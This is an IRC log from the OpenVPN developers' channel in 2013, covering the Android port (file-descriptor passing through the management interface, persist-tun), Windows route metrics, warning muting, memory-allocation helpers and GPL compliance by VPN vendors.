<@plaisthos> I had not yet time to fix the *runtime* linker error in 8d+ 08:24 < NielsKram> I understand if you don't want to help me but how do i get "Make sure that ndk-build is in your build path." Because it doesn't get there anymore with 8b. 08:28 < NielsKram> I tried http://tools.android.com/recent/usingthendkplugin but that's not working 08:36 < NielsKram> NVM. got enviroment variables wrong. They were still at 8e 08:36 -!- NielsKram [~NielsKram@ip4da385d0.direct-adsl.nl] has quit [] 08:53 <@plaisthos> NielsKram: I assumed people would be able to decipher command not found error messages 09:15 <@plaisthos> cron2: People ask about building but I never get any feedback or patches back 10:17 -!- raidz_away is now known as raidz 10:45 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 10:45 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:14 <@cron2> plaisthos: yeah, fun, obviously... 11:28 <@plaisthos> Obviously every strange VPN providers needs its own app.... 11:41 <+pekster> Sure, that way they can hide the fact that it's using open-source code 11:41 <+pekster> :( 11:42 <@mattock> it just "happens to be" OpenVPN-compatible 11:43 <@mattock> although they sometimes make it sound like "you can use plain OpenVPN, but it will not perform as well" 11:43 <@mattock> can't recall what the company was that did that 11:43 <+pekster> I've seen a few that are in fairly clear violation of the GPL 11:43 <@mattock> once I started asking about changes to the code they backed down... "it was the marketing department that made that sentence up" 11:43 <@mattock> pekster: which ones? 11:43 <+pekster> seed.st for one 11:44 <+pekster> They have an odd 'openvpn.dll' deal (not part of a stock Windows install) so I suspect they're actually linking against APIs too 11:44 <+pekster> I just toyed with in in a VM for about 15 minutes before deciding that it wasn't following any rules, no notice of GPL code, etc 11:44 <@mattock> hmm, interesting 11:44 <+pekster> They go out of their way never to call it 'OpenVPN' but always 'Seed ST VPN' 11:44 <@mattock> I'll have to look into it 11:44 <+pekster> Yea, they need to be slapped 11:45 <@mattock> on my TODO 11:46 <@mattock> anybody else? 11:46 <+pekster> Not offhand, but I'm sure it's not uncommon if I go digging 11:46 <@mattock> yeah, could be 11:46 <+pekster> Maybe I'll just troll through reddit sometime and give you a small list if I get motivated to do that. I don't really want to depress myself like that today ;) 11:46 <@mattock> I'd be fun to poke those guys with a stick :P 11:46 <@mattock> see what happens 11:47 <@mattock> so when/if you got energy to troll, please go ahead :D 11:55 <@cron2> mattock: reading your weekly-17 summary - have you pointed that kingkong person at the NTLM patches that have made their way into 2.3.1? 12:01 <@mattock> no, noticed kingkong only after he was gone 12:08 <@plaisthos> mattock: Multiple apps on the market 12:10 <@plaisthos> I just got a mail last week: 12:10 <@plaisthos> Hi Arne , 12:10 <@plaisthos> I am using your openvpn code .. I need to ask you that what are the limitation for that as I am changing the code for some company .Can I remove Faqs and About tabs .. 12:12 <+pekster> Lovely. So you're a consultant lawyer now too? :) 12:13 <@plaisthos> pekster: I told him he has to respect the licenses and that implies that he not allowed to remove the About 12:23 <@cron2> mattock: is there an RSS feed of the wiki? 12:23 <@ecrist> yes 12:23 <@cron2> ecrist: cool, do you have the URL? 12:23 <@cron2> can't find anything right now 12:24 <@ecrist> yeah, gimme a second 12:25 <@mattock> cron2: don't know, probably not 12:26 <@ecrist> cron2: I stand corrected - trac doesn't have an RSS feed for wiki pages 12:27 <@cron2> :( 12:27 <@ecrist> mediawiki does, (that's what i was recalling) 12:30 <@cron2> trac has for the ticket area, but not for the wiki, bah 12:30 <@ecrist> yeah 12:30 <@ecrist> vpnHelper listens to the ticket fee 12:30 <@ecrist> feed* 12:31 <@ecrist> there's also a feed for changesets 12:56 <@cron2> plaisthos: with just how many repos are you juggling? hg, git, local, remote, github, ...? 13:04 <@cron2> plaisthos: coming back to the persist-tun patch. How does that work if you still have a VPN open with redirect-gateway and try to connect to a VPN server that would be routed into the tunnel? The "oldtunfd" is protected, but what will happen to the new fd? 13:09 <@mattock> cron2: it's possible there's a plugin for Trac to generate a Wiki feed 13:09 <@mattock> haven't checked 13:10 <@cron2> mattock: if you have time... it would be useful to see what's happening, and not miss updates on the wiki 13:12 <@mattock> there's this at least: http://trac-hacks.org/wiki/AnnouncerPlugin 13:12 <@vpnHelper> Title: AnnouncerPlugin - Trac Hacks - Plugins Macros etc. - Trac (at trac-hacks.org) 14:14 <@plaisthos> 14:16 <@plaisthos> cron2: I have one repo + clones (google code, github) for the java side and an extra openvpn clone for the openvpn part 14:16 <@plaisthos> cron2: the oldtunfd is not protected or something like that 14:16 <@plaisthos> cron2: tunfd is not a socket 14:17 <@plaisthos> only the connection to the server is protected 14:22 <@plaisthos> the sockets that are being created are protectd. The tun fds are just plain fds to a device to be read/written 14:39 -!- novaflash is now known as novaflash_away 14:39 -!- novaflash_away is now known as novaflash 15:28 <@cron2> plaisthos: ah! Indeed, I was confusing the socket fd and the tun fd. But anyway, a variant of the same question applies - this code should only be executed upon disconnect/reconnect, right? so a new socket fd would be used? 15:29 <@plaisthos> the persist-tun code? 15:30 <@cron2> yep 15:30 <@plaisthos> yes the code is executed on reconnect when old tun config and new tun config differ 15:30 <@cron2> well, not "the code" but "the scenario where this code will make a difference" 15:31 <@plaisthos> without persist-tun it is: disconnect => close tun => reconnect => open tun 15:31 <@cron2> yeah, that is understood. I'm just wondering how reconnect can be done if the old tun is still active, and the new socket fd is not protected 15:31 <@cron2> is it just re-using the same socket for UDP reconnects? 15:32 <@plaisthos> you can have multiple socket protect (= bound to wifi0/mobile0) 15:32 <@plaisthos> everytime I create a socket it gets protected 15:32 <@plaisthos> and you can protect a socket if tun is open/closed whatever 15:33 <@cron2> ah! this was the bit I was missing - so when you reconnect, you create a new socket, protect that, and only *then* start connecting? 15:33 <@plaisthos> yes 15:33 <@plaisthos> When I have spare time I might implement the protect socket stuff for normal OpenVPN 15:34 <@cron2> now the pieces fit together :-) - thanks. (I planned to ack+commit tonight, but I'm too tired right now -> mistakes) 15:34 <@plaisthos> cron2: no rushing 15:34 <@plaisthos> cron2: I also have not found the time to look into snappy patch in detail 15:34 <@cron2> I noticed :) 15:34 <@plaisthos> on first look it looks good. 15:35 <@plaisthos> but since one of the other patches is wrong (imho) I rather look a bit more into details 15:36 <@cron2> reasonable & appreciated. The other patch needs more closer looking, agreed. 19:32 -!- raidz is now known as raidz_away --- Day changed Tue Apr 30 2013 02:02 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:47 <@cron2> moin 03:27 <@plaisthos> moin 03:40 <@d12fk> somebody powerful close #286 please 03:48 <@cron2> d12fk: did he find the right mouse button now? 03:49 <@d12fk> put the config into the wrong dir 03:50 <@cron2> that's obviously a bug in the gui, it really should find the config wherever people put it and tell them in nice and friendly colours that they need to move it elsewhere, and of course offer a button to do that! 03:52 <@mattock> bug #286 closed as invalid 03:54 <@cron2> mattock: you're not forward-oriented! 03:54 <@d12fk> as soon as ppl start using stuff it turns out like this, dealt with it =) 04:09 <@plaisthos> :) 04:09 <@plaisthos> cron2: maybe he upgraded his simple apple mouse to a mighty apple mouse with right click functionality 04:20 <@mattock> why are you guys making fun of the mindless Apple followers? 04:21 <@mattock> :P 04:21 <@cron2> because we can! 04:23 <@mattock> I have a total of 5 "mouse" buttons on my laptop 04:23 <@mattock> useless fact for today 05:24 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out] 05:24 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 06:05 <@d12fk> cron2: what's the reason ipv6 routes dont use a metric 06:06 <@d12fk> ^on windows that is 06:29 <@cron2> d12fk: what should they use the metric for? 06:39 <@d12fk> for specifying a route metric... O_o 06:40 <@d12fk> i guess i don't get your message 06:40 <@cron2> sure, but what are you trying to achieve? 06:40 <@cron2> metrics are useful if they actually make a difference, as compared to "not setting metric" 06:41 <@d12fk> and they don't make a difference? 06:41 <@cron2> bringing back the question: what are you trying to achieve that you want metrics to be used for? 06:42 <@cron2> metrics make a difference on some(!) of the OSes if you have a route 2001:608::/32 pointing "to the LAN gateway with metric 10" and "to the VPN gateway with metric 5" 06:42 <@d12fk> i don't, i just wonder why we generally ignore the configuration here 06:42 <@d12fk> makes sense for the default route too 06:43 <@d12fk> metric is #if 0'd out for windows 06:43 <@cron2> the problem with that is that metric is (if supported at all) a relative value - so you need to control both routes to make a meaningful distinction, which you usually don't do. So instead of metrics, use more-specific routes to force routing left or right, which works across all platforms 06:44 <@cron2> basically the reason why it's not there for IPv6 is that nobody said "here's my use case, metrics really help here, please implement" 06:44 <@cron2> for IPv4, I don't know why it's #if 0'ed - that wasn't me 06:45 <@cron2> AFAIR Solaris and all the BSDs permit setting of a metric, but it won't actually do anything - you just can't install a route for a given network if one already exists... 06:45 <@cron2> Linux will do the right thing 06:45 <@cron2> Windows, I don't know 06:45 <@d12fk> well you could a a route in your local config 06:46 <@d12fk> will enable metric for the service based route setting patch coming soon 06:47 <@cron2> I'd test first whether windows will handle metric in a useful way :-) 06:47 <@d12fk> oh you! =) 06:48 <@cron2> no, I'm serious here - I always assumed that metric for routes was sort of well-defined, and then I read in the Solaris man page for "route" that it is actually a no-op 06:49 <@d12fk> the api docs don't mention this for windows 06:51 <@d12fk> actually vista onwards is pretty picky about the metric 06:51 <@d12fk> i.e. if it's below the interface metric setting the route fails 06:51 <@d12fk> the ipv6 enabled api adds the itf metric internally 06:51 <@cron2> oh? interesting. On the other OSes, "interface" is always "0", and you can't go below that 06:52 <@d12fk> true most of the time for windows as well, but some (umts) drivers break the combo 06:55 <@d12fk> that's why there is this insane loop for finding the right metric in the windows code btw 06:55 <@cron2> haven't actually noticed that yet, using netsh to install the ipv6 routes always "did the right thing" for me - maybe I was lucky 06:55 <@d12fk> look at /* failed, try increasing the metric to work around Vista issue */ 06:56 <@d12fk> netsh probably adds the itf metric as well 08:27 <@dazo> plaisthos: Regarding your patch removing some warnings .... I agree that all of them can be annoying and for most (at least advanced) users useless ... However, I think it's not a good idea to remove them for all .... I think an "opt-out" feature which would silence these warnings would be better .... Kind of like an --i-know-what-im-doing option ;-) 08:30 <@dazo> plaisthos: maybe add another msg() flag ... M_INFORMATIVE or something like that .... and then patch msg() to consider a global variable set by --mute-warning $MUTEGROUP (f.ex. like --mute-warning informative) 08:30 <@dazo> that could be used for other "silly" warnings as well, which for most advanced users are waste of CPU cycles :) 08:31 <+pekster> I dunno, sounds like more CPU spent *not* printing them (but cleaner logs ;) 08:32 <@dazo> hehe ... true, it probably would spend a few extra cycles with filtering :) 08:33 <@dazo> anyhow, many of these warnings are really useful for n00bs .... it's always helpful to have them when helping out on #openvpn 08:35 <+pekster> Yup, I quite agree. Maybe even add a 'NOTE: omitting some warnings due to --mute-warning options' or such could be printed on startup just to make it clear that such an option is active too 08:35 <@dazo> and then --mute-warning-about-muted-warnings? 08:36 <+pekster> Holy recursion Batman 08:36 <@dazo> I'm not convinced about that one .... if you ask for a log file with --verb 4 .... it should be listed there 08:36 <@dazo> and the user also have the config file 08:37 * cron2 wants --log-just-useful-stuff 08:37 <@cron2> dazo: can you please implement that for the next release? 08:38 <@dazo> --mute-warning or --log-just-useful-stuff ? ;-) 08:38 <@cron2> --log-just-useful-stuff 08:38 <@cron2> we could do it with a plugin which analyzes each message for usefulness and then reports back "print" or "no print" 08:38 <@dazo> hahahaha 08:38 <@cron2> <print>1</print> 08:38 <@cron2> of course 08:38 <@ecrist> no no 08:38 <@ecrist> --don't-log-stuff-i-don't-want-right-now 08:39 <@cron2> that is implicit in --log-just-useful-stuff 08:39 <@cron2> if you don't want it right now, it's not useful, so it's not logged 08:42 <@ecrist> heh 08:43 * dazo starts pondering on this I_WANT_A_PONY patch .... 08:43 <@cron2> ponies need smart logging, so that would be a prerequisite 08:44 <@dazo> for simplicity, I think I'd propose avoiding those long option names .... I'm settling for --pony 08:57 <+pekster> A small note on relying on --verb 4 to show a log-hiding option is that it won't be present with enable_small=yes. Either way, a blatent warning in the manual should at least discourage the uninitiated from playing with dragons 08:57 <@dazo> agreed 08:58 <@ecrist> what if we just went with --psychic 08:58 <@dazo> also good point regarding --verb 4 + enable_small 08:59 <+pekster> Anyway, didn't mean to nit-pick that to death on you dazo, I just submitted a patch for that exact option printing recently, so I'm extra on-guard about its internals :P 08:59 <@dazo> ecrist: that could make the logging far simpler in fact ........ it could just output random garbage! 08:59 <@ecrist> heh 09:02 <@dazo> pekster: no offence taken :) 09:02 * dazo heads for a meeting 09:03 <@cron2> ecrist: --psychic is not compatible with the plugin interface 09:07 <@dazo> cron2: plug-in API v3 should be flexible enough though ;-) 09:07 * cron2 doubts that - and besides, we can't have a new release without a new plugin API, that would break the series! 09:08 <@dazo> after all, the master of over-engineering put that API together :-P 09:08 <@dazo> hahaha 09:08 <@cron2> there is neither XML nor JSON involved 09:08 <@dazo> oh true .... bummer! 09:09 * dazo writes on his TODO list: write a XML/JSON/CSV plug-in API with XSLT extention to handle OpenOffice.org and OOXML spreadsheets as extension 09:13 <@ecrist> I think it'd be better if we used SOAP 09:13 * dazo adds that as well 09:14 <@dazo> what about an embedded AJAX compatible web service? ;-) 09:14 <@ecrist> don't we have that with AS? 09:15 <@dazo> the admin code isn't opened ... so we definitely need to re-write it :) 09:15 * cron2 sighs "why o why is there only so much energy present if it's not related to reviewing patches" 09:16 <@cron2> dazo: just as a side note: I think the Android stuff is fine to go in now, and I'm going to ACK and merge it tomorrow (when family permits). So if you want to spend some time review'ing and commenting on the latest v3/v4 set, now's the time :-) 09:18 <@dazo> cron2: I'll look through it during the afternoon ... I don't think it has changed too much since last time and don't think we had much against it at that time either .... my quick glances makes sense 09:18 <@cron2> some cleanup has been done, but no "fundamental" changes 09:19 <@dazo> yeah 09:51 <@plaisthos> dazo: main reason to remove the script-warnings on Android was that only really advanced users would add scripts anyway (Scripts were broken for about 1/2 year until someone noticed and complained) and most other users were more confused by the warning 09:52 <@dazo> plaisthos: ahh! Okay, I can understand that need on the Android side .... I'm just seeing the bigger picture as well ... and if having a --mute-warnings feature, that could be enabled by default by the GUI on Android, right? 09:57 <@plaisthos> dazo: Yeah. But most warnings are useful on Android too 09:59 <@dazo> plaisthos: I don't mean --mute-warnings should mute all warnings ... it should have an argument which declares a group of warnings .... like, informative warnings/notices (such as those you remove with your patch) .... and we might extend this further too 09:59 <@plaisthos> Like the warning for --secret if you have a normal clear text file instead of a normal one 10:01 <@dazo> yeah 10:02 <@dazo> --mute-warnings would be equivalent to "I know what I'm doing, so stop bothering me about it" 10:05 <@plaisthos> yeah. default --mute-warning on my client would mean more mails: I does not work help me 10:08 <@dazo> plaisthos: how come? if you use enforce '--mute-warning informative' through your UI which basically should remove those messages you remove in your patch ... how would that make things differently for you? 10:09 <@dazo> the result should be the same .... of course, if a user decide to override --mute-warning - or mute even more stuff and not knowing what s/he is doing, yeah that would increase the support burden .... but it would also do that on #openvpn 10:10 <@plaisthos> dazo: If --mute-warning hides other warning that the script-warning 10:12 <@dazo> plaisthos: I think that we could have a few different warning groups (where 'informative' is one of them) ... and only the really repeating/annoying ones should be mutable ... I'm not saying that all M_WARN messages should be muted 10:12 <@plaisthos> yeah 10:12 <@plaisthos> for now lets just keep that patch private to android 10:12 <@plaisthos> (to android = Arnes Android openvpn) 10:12 <@dazo> okay :) 10:13 <@plaisthos> The other annoying warning patch got integrated a year ago 10:13 <@plaisthos> OpenVPN is using since a short time now port 1194 instead 28372832783 fix your config 10:14 <@dazo> I think we removed that one in 2.3 completely though ... as we considered it really out-of-date 10:14 <@plaisthos> yes 10:15 <@plaisthos> When I have time I will write a patch that only tells you about the script warnings if and only if there a script specified in the configuration 10:18 <@dazo> ahh, that's also not a bad idea 10:18 <@cron2> that would be great 10:18 <@dazo> absolutely 11:14 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 11:14 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:54 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 264 seconds] 13:26 <@dazo> plaisthos: you here? 13:26 * dazo guesses not, though 13:27 <@plaisthos> dazo: yes 13:27 <@plaisthos> dazo: what the right way to free a gc_malloc'ed string? 13:27 <@plaisthos> free? 13:28 <@plaisthos> because close_tun_generic does: 13:28 <@plaisthos> if (tt->actual_name) 13:28 <@dazo> plaisthos: Just looking at your "add ability to send/receive file descriptors via management interface" patch .... 13:28 <@plaisthos> free (tt->actual_name); 13:28 <@cron2> plaisthos: gc_malloc() is never free()'ed - that expires when leaving the context 13:28 <@dazo> plaisthos: IIRC, most places in tun.c doesn't use gc_malloc(), as the gc_arena pointer is NULL 13:28 <@cron2> AFAIR tt->actual_name is always malloc()/strdup()ed 13:29 <@dazo> when that is NULL .... string_alloc() takes care of doing calloc() + checking result and doing memcpy() 13:29 <@dazo> plus ... if debugging is enabled, you get proper debug info along with it 13:30 <@dazo> (source file + line number, f.ex) 13:30 <@dazo> otherwise, as cron2 says .... gc_malloc() allocations are tackled when the gc context is destroyed 13:31 <@plaisthos> so gc_malloc with NULL+strdup? 13:31 <@dazo> + extra checks 13:31 <@plaisthos> s/strdup/strcpy/ 13:31 <@dazo> buffer.c:527 13:33 <@dazo> plaisthos: the only reason I commented that, was that most other places uses string_alloc() instead of strdup() or similar variants 13:33 <@dazo> and it's well tested code paths, so it should handle a variety of issues on the way as well 13:34 <@plaisthos> dazo: no problem. I did not know it better. 13:34 <@plaisthos> should I send a modified patch? 13:35 <@dazo> I'll let cron2 comment on that :) .... he is the neutral ground in this particular discussion :) 13:35 <@plaisthos> :) 13:35 <@cron2> uh 13:35 <@plaisthos> dazo: he already nitpicked about me using malloc+strcpy instead of strdup 13:35 <@plaisthos> so I changed to strdup ;) 13:35 <@dazo> heh 13:35 <@cron2> I actually leave that to dazo :-) - I suggested strdup() because "one line less than malloc+strcpy", but if we have another standard function for that, I forgot about it 13:36 <@plaisthos> like now having min_int and MIN? :) 13:36 <@cron2> we have min_int? 13:37 <@dazo> then, if not for anything else but consistency, maybe we could have an updated patch using string_alloc() 13:37 <@plaisthos> I discovered it when tried c++ mode and it complained about the xor function next to it 13:37 <@cron2> plaisthos: you *could* have said something about min_int() when ACKing the MIN() patch, though :-) 13:37 <@dazo> oh .... we have .... src/openvpn/integer.h 13:38 <@plaisthos> cron2: I disovered it after it being commited 13:38 <@cron2> I'll send a min_init() cleanup patch, but not today 13:38 * cron2 is fighting apache and securid auth 13:38 <@plaisthos> otherwise I would have 13:38 <@cron2> now if anyone complains about our build system again, I'll show him apache's, and that will silence everyone for good. What a pile of convoluted shit 13:38 <@dazo> but ... should we then kick out MIN()/MAX() ... or min_int()/max_int() ? 13:39 <@plaisthos> min_int is littered all over the place 13:39 <@cron2> kick out MIN(), as it's only used in one single place in the code 13:39 <@dazo> goodie 13:39 <@cron2> dazo: return from subroutine, min() is covered :-) 13:39 <@dazo> :) 13:40 <@dazo> plaisthos: but ... your send/recv fd via management interface .... 13:41 <@plaisthos> dazo: I can understand that you don't like that 13:41 <@dazo> nah, I just want to understand it a bit better :) 13:41 <@dazo> I understand you get a socket from Android where the tun traffic should be passed ... right? 13:42 <@plaisthos> yes 13:42 <@dazo> so ... how is that related to man_read() and man_write() ? 13:42 <@plaisthos> and I sent that socket from openvpn java gui over the management socket to the openvpn process 13:42 <@plaisthos> obscure unix features: Sending file descriptors over sockets 13:43 <@dazo> oh right, I need to think reverse here ... openvpn is the receiving end, not the initiator 13:43 <@plaisthos> I need both 13:44 <@dazo> plaisthos: okay ... so your UI gets the fd .... and what happens then? 13:44 <@plaisthos> sending to gui for protecting socket from being routed over VPN, and receiving for the tun fd 13:44 <@dazo> the UI connects to the management interface via a unix pipe or a tcp socket? 13:44 <@plaisthos> dazo: unix pipe 13:44 <@dazo> okay 13:44 <@plaisthos> that strange feature works only over unix pipe 13:44 <@dazo> ahh, okay 13:45 <@dazo> but each time man_read() is called ... it will pull down a new fd via the unix pipe then? 13:46 <@plaisthos> yes 13:46 <@dazo> and it can't store it and re-use it? 13:46 <@plaisthos> man_read check if there is an ancillery message present 13:46 <@plaisthos> mSocket.setFileDescriptorsForSend(fds); 13:46 <@plaisthos> is what the gui basially does 13:47 <@plaisthos> (Android has high level java support for sending/receiving fds over unix sockets) 13:47 <@dazo> what type is fds? 13:47 <@plaisthos> dazo: FileDescriptor, but it boils down to just a plain fd/integer 13:47 <@dazo> okay 13:48 * dazo just asks a lot of silly questions now ... just to ensure he understands it better 13:49 <@plaisthos> no problem 13:49 <@dazo> The UI and the openvpn process .... do they share a process space .... as each PID will have their own numbering of fds right? 13:50 <@plaisthos> no seperate processes, yes seperate process spaces 13:50 <@plaisthos> the fd is duplicated to the other process 13:50 <@dazo> Just wondering how the Java fds (which I understand creates the fds) can pass the right fds for the client side (openvpn) 13:50 <@dazo> but might be some Java magic here, which we shouldn't care about though 13:51 <@plaisthos> dazo: the java FileDescriptor class is just glorified wrapper with descruptor and nice getters/setters around a fd 13:51 <@cron2> no, it's unix magic - a fd in Java is an integer as in C or anything else 13:51 <@dazo> cron2: but isn't that int value unique per pid? 13:52 <@plaisthos> dazo: it is 13:52 <@cron2> so the magic is "make sure that whatever this fd is pointing to gets also pointed to on the other side" - and I assume that "fd passing" will actually change the *int* value of the fd in going 13:52 <@plaisthos> cron2: correct 13:52 <@dazo> right ... okay, so that's some of the java magic then 13:52 <@plaisthos> dazo: no 13:52 <@plaisthos> no java magic involved :) 13:53 <@plaisthos> All you need to know about FileDescriptor: 13:53 <@dazo> I mean hidden behind the mSocket.setFileDescriptorsForSend() call 13:53 <@plaisthos> /** 13:53 <@plaisthos> * The Unix file descriptor backing this FileDescriptor. 13:53 <@plaisthos> * A value of -1 indicates that this FileDescriptor is invalid. 13:53 <@plaisthos> */ 13:53 <@plaisthos> private int descriptor = -1; 13:53 <@plaisthos> dazo: yeah 13:53 <@plaisthos> dazo: internally it is the same as man_send_with_fd 13:53 <@dazo> right 13:53 <@plaisthos> and it is Android Java magic. Normal Java does not have this kind of magic 13:54 <@dazo> right, now the pieces begin to fall into places 13:54 <@plaisthos> but under the hood the fd passing is used in some other places in android 13:55 <@plaisthos> like opening data stream from a content provider from other apps 13:55 <@dazo> right ... well, it has to be some kind of mapping of fds somewhere, as the fd numbering is unique per pid ... so might actually be that it's the OS keeping track of that 13:55 <@plaisthos> yes 13:55 <@plaisthos> You can do the same on FreeBSD/Linux/Solaris/... 13:55 <@plaisthos> with two C programs 13:55 <@dazo> right 13:56 <@plaisthos> when you fork and do a dup(fd); close(fd); you have two fds with different numbers pointing to the same object as well 13:56 <@cron2> not technically "the same object" 13:57 <@cron2> "some meta-information which then points to the same file" 13:57 <@cron2> (think seek(), which is local to each fd) 13:57 <@dazo> right, it's the kernel which provides the socket/pipe (mapping the fds correctly between the pids) 13:57 <@dazo> socket/pipe functionality .... pushing data on writes and pulling them out on reads 13:58 * dazo glares more at the man_read() usage 14:00 <@plaisthos> Try understanding how recvmsg/sendmsg work using the manpage. I gave up and more or less used the example code I found 14:01 <@dazo> I believe I have a fair understanding of those concepts, though ... I just didn't quite understand how this fd passing really worked and how it fit into man_read() and man_write() 14:01 <@plaisthos> me just found out that openvpn has another place that uses fd passing 14:01 <@plaisthos> port_share_sendmsg 14:01 <@dazo> however, I'm a bit surprised you do this "fetching of fds" on each man_read() and man_write() though 14:02 <@plaisthos> dazo: you have to 14:02 <@dazo> the fds changes over time? 14:02 <@plaisthos> You get the fds as ancillary data and send them as "ancillary data" 14:03 <@plaisthos> you need to them with a regular write/read 14:03 <@plaisthos> dazo: each time openvpn creates a new network socket to connect to a host 14:04 <@dazo> maybe I'm lost because I don't see exactly when the openvpn binary is executed .... 14:04 <@plaisthos> I could do a second second just for passing fds back and forth 14:06 <@dazo> How I "imagine" it works is that the UI gets a click on "connect, using this VPN profile/config" .... then the UI calls mSocket.setFileDescriptorsForSend() and then forks out a thread running openvpn .... connects to the management interface and provides the fds 14:06 <@dazo> to openvpn 14:06 <@plaisthos> dazo: start openvpn binary, establish management connection, starting connecting, send socket of vpn connection to gui, CONNECTED, get config from server, send routes/ifconfig/dns to gui, request tun fd from GUI, recv tun fd from GUI, connection lost, close tun fd, reconnect, ... 14:08 <@dazo> so ... openvpn creates the fds for the tun traffic? and the UI grabs them and passes them to Android? 14:09 <@plaisthos> no 14:09 <@dazo> sorry :( 14:09 <@plaisthos> dazo: no problem 14:10 <@plaisthos> dazo: openvpn calls open_tun, which does a managenet call > OPENTUN to the UI 14:10 <@dazo> ahhhh 14:10 <@plaisthos> the UI then responds with "OK" and a ancillery fd 14:11 <@plaisthos> like aksing a password from the UI 14:11 <@dazo> okay, then I understand you need that man_recv_with_fd() and man_send_with_fd() on each man_read() and man_write() 14:15 <@plaisthos> on send I am calling send_with_fd only if I have a fd to send 14:15 <@dazo> right 14:16 <@plaisthos> on recv I am always calling the recv_with_fd because it easier than "there might be a fd in the nextr read" 14:16 <@dazo> okay, I won't claim I understand all the gory details ... but things makes a bit more sense in my head right now 14:16 <@plaisthos> :) 14:16 <@dazo> thank you so much for bearing over with my slow understanding here :) 14:17 <@plaisthos> fun fact: The APIs to get tun fd and to protect from Android do the same fd sending/receiving dance :0 14:17 <@plaisthos> so the UI reads the fd from one unix socket only to send it to another 14:18 <@plaisthos> of course hidden under multiple layers of abstration 14:18 <@dazo> :) 14:20 <@dazo> cron2: regarding this "[[Patch v3] 2/3] add ability to send/receive file descriptors" ... I don't dare to give it an official ACK, as there are details here I don't have complete overview over ... but all the code makes sense, and I don't have any reason to say NAK .... so unless someone else feel they have the guts to give a public ACK, lets just apply it un-acked ... as most of this Android code has been well tested in "production" ( 14:20 <@dazo> through Google Play) 14:21 <@dazo> and if it works and provides the needed stuff to function on a new platform, I see no reason why not to include it 14:21 * cron2 has the guts to ACK it - the code looks sane, it has been exhaustively tested, and it's #ifdef ANDROID 14:22 <@dazo> and it's open source ... so if anyone else finds a better way of doing things, they can improve it later on anyway :) 14:22 <@cron2> yep 14:22 <@plaisthos> I can write a android-management.txt if you want to explain the android specific management command if you want 14:23 <@dazo> plaisthos: that would really be good ... to better understand how this is implemented and how the pieces fits together 14:23 <@cron2> plaisthos: that would actually be nice, to have some sort of "how do the bits and pieces fit together on android" document 14:23 <@cron2> haha 14:23 <@dazo> :) 14:23 <@dazo> plaisthos: but that's no requirement for getting the patches applied now :) that can come later-ish :) 14:24 <@cron2> I'm just not sure where to put it - maybe doc/android.txt? We currently do not really have "platform specific info" shipped with the source 14:24 <@plaisthos> I will send a seperate patch for that 14:25 <@plaisthos> either that or a ANDROID\n=============== in the management.txt 14:25 * dazo hopes cron2 is happy that at least 4 patches has been reviewed today :) 14:25 <@dazo> plaisthos: maybe a separate file would be good ... as android is so different from everything else 14:25 <@cron2> I am :) 14:25 <@plaisthos> dazo: will do 14:26 <@cron2> and if I can now find why that dang apache is refusing to play nicely, I would be even happier 14:26 <@dazo> you're adding authentication via RSA SecurID ? 14:27 * plaisthos just sends the fix for the string_malloc 14:27 <@plaisthos> does 14:27 <@plaisthos> tt->actual_name = string_alloc (ANDROID_TUNNAME, NULL); 14:27 <@plaisthos> look right? 14:28 <@dazo> yes, that looks right 14:28 <@cron2> yep 14:30 <@plaisthos> There is still one thing left for out of the box Android: migrate from RSA_generate_key to RSA_generate_key_ex 14:31 <@plaisthos> since RSA_generate_key is depracated in favour of the second 14:31 <@dazo> plaisthos: I can try to find my OpenSSL book ... and can look more closely at your patch during this week 14:31 <@plaisthos> dazo: :) 14:32 <@dazo> (we moved to a new flat recently, so I haven't found all my books yet) 14:32 <@plaisthos> dazo: at the moment I am just keeping a copy of the RSA_generate around in src/compat 14:32 <@plaisthos> since android's openssl is compiled with NO_DEPRECATED 14:32 <@dazo> But I remember very well that the book said that you should generally try to always use _ex versions of functions whenever they exists 14:33 <@dazo> It was one or two exceptions, though ... but I've forgotten which one 14:33 <@dazo> and it really makes sense to use the _ex versions too .... thread safety, being one of the biggest/most frequent fixes 14:35 <@plaisthos> Even RSA_generate is a wrapper around the _ex function 14:35 <@dazo> yeah 14:56 -!- dazo is now known as dazo_afk 14:57 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer] 14:59 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 14:59 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 15:11 <@plaisthos> I never heard the word ancillary before working on unix domain socket fd passing stuff :) 15:26 <@cron2> yeah. beat apache into submission. talk about undocumented APIs... ap_hook_translate_name()... not even google finds something really useful, except people asking whether the last argument should be APR_HOOK_MIDDLE or APR_HOOK_FIRST 15:31 <@plaisthos> (Insert meme picture here: OpenVPN developers high as shit: Wondering about undocumented APIs in software) 18:43 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 245 seconds] 18:49 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 18:49 -!- mode/#openvpn-devel [+o raidz] by ChanServ --- Day changed Wed May 01 2013 01:02 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 01:38 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 01:38 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 05:45 <@vpnHelper> RSS Update - testtrac: Document the Android implementation in OpenVPN <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=733050dcb994fa502ae5d4724efe65a9fe63e203> || Emulate persist-tun on Android <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=bd14d55d87248d18088fc9897e9ffd46a59e147b> || Android platform specific changes. <http://openvpn.gi 06:31 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 264 seconds] 